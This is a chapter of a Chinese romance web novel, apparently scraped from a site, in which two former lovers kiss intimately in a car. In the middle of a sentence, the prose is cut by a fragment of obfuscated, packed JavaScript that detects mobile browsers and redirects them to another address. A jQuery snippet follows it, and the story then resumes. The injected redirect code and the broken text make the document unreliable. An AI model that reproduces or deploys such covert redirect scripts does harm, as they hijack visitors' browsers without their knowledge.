程晚的心像是被泡在了浓醋中,无法描述的占有欲一再发酵。 如果可以,她现在就想跟顾茉白结婚,在她身上打上自己的印记。 如果被顾茉白知道了,一定会被吓坏吧…… 程晚的视线又偏一点,避开顾茉白。 她不想想让顾茉白知道她的想法,顾茉白却完全不是这么理解的。 “程晚,你居然敢走神,”顾茉白嘴里塞满了蛋糕,脸颊鼓鼓,都等不及咽下去,语气里充满了不可思议,“你都不听我说话,还想跟我一起看电影?” 她话说得重,程晚骤然回神,话已经冲口而出:“我怕你拉黑我。” 顾茉白一下哑巴了。 嗯,说到这个嘛,确实是她对不起程晚,前一天还姐姐我好想你,后一天就果断把她拉黑了。 解释也没法解释,要是说早就想跟你分手了,只怕会更惹程晚生气吧? 顾茉白抬起眼,小心打量着程晚的神色。 哇,脸色好沉,一股风雨欲来的味道。 “顾茉白,你想怎么样都好,不要不理我,”程晚音色清冷,语调一低,哀求听起来格外叫人揪心,“我只是觉得,本来我们两个一起看会更有意义的电影,你却和别人一起看了……” “还是我先邀请你的,太不公平了。” 糟了,这下真要眼角泛红美人落泪了。 顾茉白脑子一抽:“呃,要不我让你亲一下,你别难过了?” 11.011 Chapter 11 十五分钟后,顾茉白坐在程晚的车上,手心冒汗。 她刚刚说的话实在是诡异,到底是什么人会用我让你亲一下来安慰别人啊? 虽说她以前经常用这一招来哄程晚,不管是生气也好难过也好,这招是百试百灵的,但那已经是六年前的事情了。 那时候程晚是她女朋友,她这样做还能说是情趣,现在算是怎么回事? 这么说来,程晚是不解风情的冰山,她是没有情商的死宅,她们俩对谈恋爱的理解全都异于常人,某种意义上来说,其实有种莫名其妙的般配。 但她现在已经长大了,完全明白了自己行为的诡异之处,平时也有好好注意,没再做出过什么不合时宜的举动,可以说是顺利融入了正常人。 没想到一看见程晚就破功了。 一夜倒退回青春期,这么多年都白过了。 但更诡异的是,程晚竟然同意了。 她就那么坐在她的对面,用一种令人毛骨悚然的温柔目光注视着她,看着她吃完了那碟蛋糕,然后很平静的问她:“去我车上?” 顾茉白点头也不是,摇头也不是,只好沉默的跟在她后面,穿过大半个校园,上了程晚的车。 她总觉得,程晚让她上车,不是要亲她,而是要把她关进小黑屋,狠狠教训她,让她以后再也不敢跟她犟嘴。 程晚今天开了一辆SUV,车里位置宽大,空调温度适宜,形成了一个既私密又舒适的空间。 顾茉白坐在副驾驶上,还能看见外面校庆的活动,现在主席台上换成了才艺表演,附中乐团正在演奏,悠扬的音乐声远远传过来,听不真切。 程晚是真的很忙,她们上车后,还没来得及发生什么,她的手机便猝不及防的响了起来。 她说了一句不好意思,接了那个电话后,又开始看电脑,跟她解释说,有几封紧急邮件,需要先回复一下。 顾茉白连忙说不要紧,心里悄悄松了一口气。 她看着车窗外,平息着自己的心跳,紧张感也随着时间的流逝烟消云散。 等得久了,她忍不住歪头,偷偷瞄一眼程晚。 程晚工作的时候,神情格外专注,为了方便打字,她的袖口挽上去,露出一截白皙的手腕。 顾茉白一直很喜欢她这种神情。 沉静到几乎染上了神性,注意力全部放在她正在做的事情上,一心一意,心无旁骛,有种摄人心魄的无畏。 “怎么一直看我?” 程晚合上电脑,毫无预兆的抬头,跟顾茉白对上视线,欣赏着她瞬间变得慌乱的表情。 “小茉在想什么?” 顾茉白根本没想到,她偷看程晚,会被程晚抓个正着。 现在怎么办,总不能说你太好看了我一下看入迷了吧,这种话说出来,程晚不会觉得她旧情未了吧? 不喜欢了要分手听起来很正常,又喜欢又要分手,听起来像精神病。 她只是不忘初心,一直就很喜欢程晚这张脸而已。 这话也不能说,要是让程晚知道她的感情如此肤浅,不知道会有多伤心。 爱一个人要爱她的灵魂,小说里都这么写,可程晚的灵魂实在是让她有点招架不住。 顾茉白左看看右看看,把车里看了一个遍,就是不敢看程晚。 直至一只手伸过来,捏住了她的下巴。 距离陡然拉近,冷香渐渐弥漫,将她彻底包围。 顾茉白整个人都僵住了,呼吸放得极轻,不敢有任何动作。 程晚将她的下巴抬了起来,很缓慢的动作,仿佛要在她的皮肤上留下自己的体温一般,指腹轻轻/抚过她的下颌线,煽情的摩挲过她的唇角。 “顾茉白,”她声音很低,“要接吻吗?” 温热气息如同羽毛,轻柔的撩过顾茉白的耳廓,在她的耳膜上留下轻微的震动,勾住她的心神。 顾茉白不由自主的看向她,程晚的神情很专注,正在看着她,唇角带着清浅笑意,睫毛垂下来,显得格外温柔。 和她的眼神对上,程晚又靠近了一点,额头贴着她的额头,近到只要一低头,就可以吻上她的唇。 “小茉,”程晚唤着她的名字,“你好可爱。” 顾茉白心跳加速,呼吸不稳,反问她的声音都带着颤:“哪里可爱了……” “就是这样可爱。” 程晚低下头,轻轻蹭过她的鼻尖,似是而非,停留在与她一息之间的距离,偏偏不去吻她,分明是要钓着她玩。 “耳朵都红透了。” 顾茉白连忙伸手,去捂自己的耳朵,烫烫的。 糟糕,好像真的红了。 她不知道,并不只是耳朵红了。 而是整个人都如同成熟的苹果,脸颊泛上红晕,将白皙皮肤染上诱/人/色/泽,散发出甜腻香气。 “怎么还是这么容易害羞啊,顾茉白。” 程晚轻笑了一声,舌/尖舔/舐过她的唇角,一触即离,只留下一点湿/润的触感。 “你当时把我按在墙上亲的时候,就是这幅样子,害羞得耳朵都红了,真是好可爱。” 顾茉白的脑袋轰隆一声,彻底放弃了思考。 那么久远的事情,干嘛要记那么清楚,还说我害羞,信不信我现在就给你再来一次! 顾茉白恶从胆边生,干脆揪住程晚的衣领,将她拽向自己,狠狠吻上她的唇。 即使表情再冷淡,程晚的唇也是柔软的。 久违的、甜到不可思议的感觉。 和以前一模一样,只有她品尝过的双唇,只要轻轻咬一下,就能感受到牙齿下软/滑的冷香,正在悄无声息的弥漫,笼罩住整个人。 程晚闭上眼睛,任由她舔/舐过自己的唇线,湿/润的气息涌入唇齿之间,是她在午夜梦回之际,无数次想要又得不到的柔软触感。 她按住顾茉白的后颈,有一搭没一搭的轻/抚着细腻的皮肤,让她无意识间凑得更近,几乎要撞进她的怀里。 “程晚,我有没有说过,你的唇真的很软,”顾茉白尝够了她的气息,稍微拉开一点距离,“我第一次见你,就在想要是能把你按在墙上亲,一定会很爽。” “嗯,那现在爽吗?” 程晚看着她的眼睛,已经因为亲吻染上一点动/情的雾气。 “要再亲一下吗?” 她的语调温柔,带着蛊惑的气息,刚刚顾茉白拉开的距离,又被她拉了回来,甚至比刚刚更近。 近到顾茉白觉得,她几乎是在贴着自己的唇说话。 呼吸交/缠在一起,湿润的气息互相交换,不是接吻,更似接吻。 亲密到让人目眩神迷。 顾茉白本能感到危险:“不……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424932|200858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她想后退,却被程晚按住了脖颈,被迫往前,像是要被她抱进怀里,又因为驾驶座和副驾驶的中间有储物箱,挡住了程晚的动作。 那一点障碍,本来是令人扫兴的东西,在不断加速的心跳前,却变成了催/情的药剂,让她想跟程晚靠得更近。 “不要吗?”程晚问道,“但我还没亲够。” 无法拥抱的亲吻中,程晚咬住她的唇,带来一点熟悉的痛。 吃痛的瞬间,顾茉白的指尖一麻,压在心底的东西慢慢苏醒过来,沿着敏.-感的神经末梢,一路传上她的大脑。 奇怪的感觉…… 顾茉白下意识张开嘴,想要摄取更多氧气。 但她得到的,只是程晚更多、更深的吻。 程晚的舌尖舔/舐过她的唇线,安抚过刚刚被她咬过的唇,顾茉白的脊背轻轻颤/抖着,在她的掌心慢慢变软。 慢慢的、化成一汪春水。 逐渐成熟的苹果,在枝头摇摇欲坠。 呼吸变得甜腻,无法抑制的喘/息,正在从顾茉白的喉间溢出来,被程晚尽数吞没。 这是她最喜欢的瞬间,可以感受到顾茉白的舌尖正在战/栗,这种时候,再吻过去,会感觉到顾茉白正如一块果冻一般,融化在她的唇齿之间。 只是接吻而已,就会变得这么可爱。 特别特别可爱。 逐渐变得肆无忌惮的吻里,顾茉白的眼角泛起一点微微的红。 缺氧的感觉让大脑里的悸动变得更清晰,逐渐走向失控的边缘,顾茉白下意识的去推程晚,想从她的桎梏下挣脱出来,但气氛已经变得—— 那么、那么旖旎。 无处不在的冷香,程晚捏着她下巴的指尖,她越来越烫的脸颊。 顾茉白不由自主的沉/溺其中,无法自拔。 “程晚……” 亲吻的间隙里,她叫着程晚的名字,尾音发颤,娇气到几乎要滴出水来。 “想要你抱着我。” “现在抱不到呢,要怎么办?” 程晚终于停下来,指尖还搭在她的后颈,轻轻揉捏。 “小茉要不要过来?” 她笑得很温柔,很好看。 但正是这种温柔到近乎蛊惑的笑容,令顾茉白发烫的脑子冷静了一瞬。 “不要不要,我才不要过去,”顾茉白口不择言,“都亲成这样了,我现在过去,不做点什么都不礼貌吧?” 她果断扒开程晚的手,啪的一下给自己扣上安全带,说:“不是说我没跟你看电影吗?走走走,现在去看电影。” “现在去看电影?” 程晚看着她泛红的耳垂,慢条斯理的说: “不会不舒服吗?” 顾茉白心虚的看着窗外:“有什么不舒服的……” 确实不舒服,湿润的热潮正在涌动,心跳快到无以复加,叫嚣着重温旧梦的渴望。 但这种事只要她不说,程晚难道还能看出来? 顾茉白挺直腰背,坐得愈发板正。 “顾茉白,你确定要这样跟我去看电影吗?” 程晚贴近她的耳朵,轻轻吹了一口气,清晰的看见顾茉白浑身一颤。 “已经氵显了,是不是?” 在顾茉白开始骂人之前,程晚捏住了她的耳垂,煽情的含-住,问她:“要不要我帮你啊?”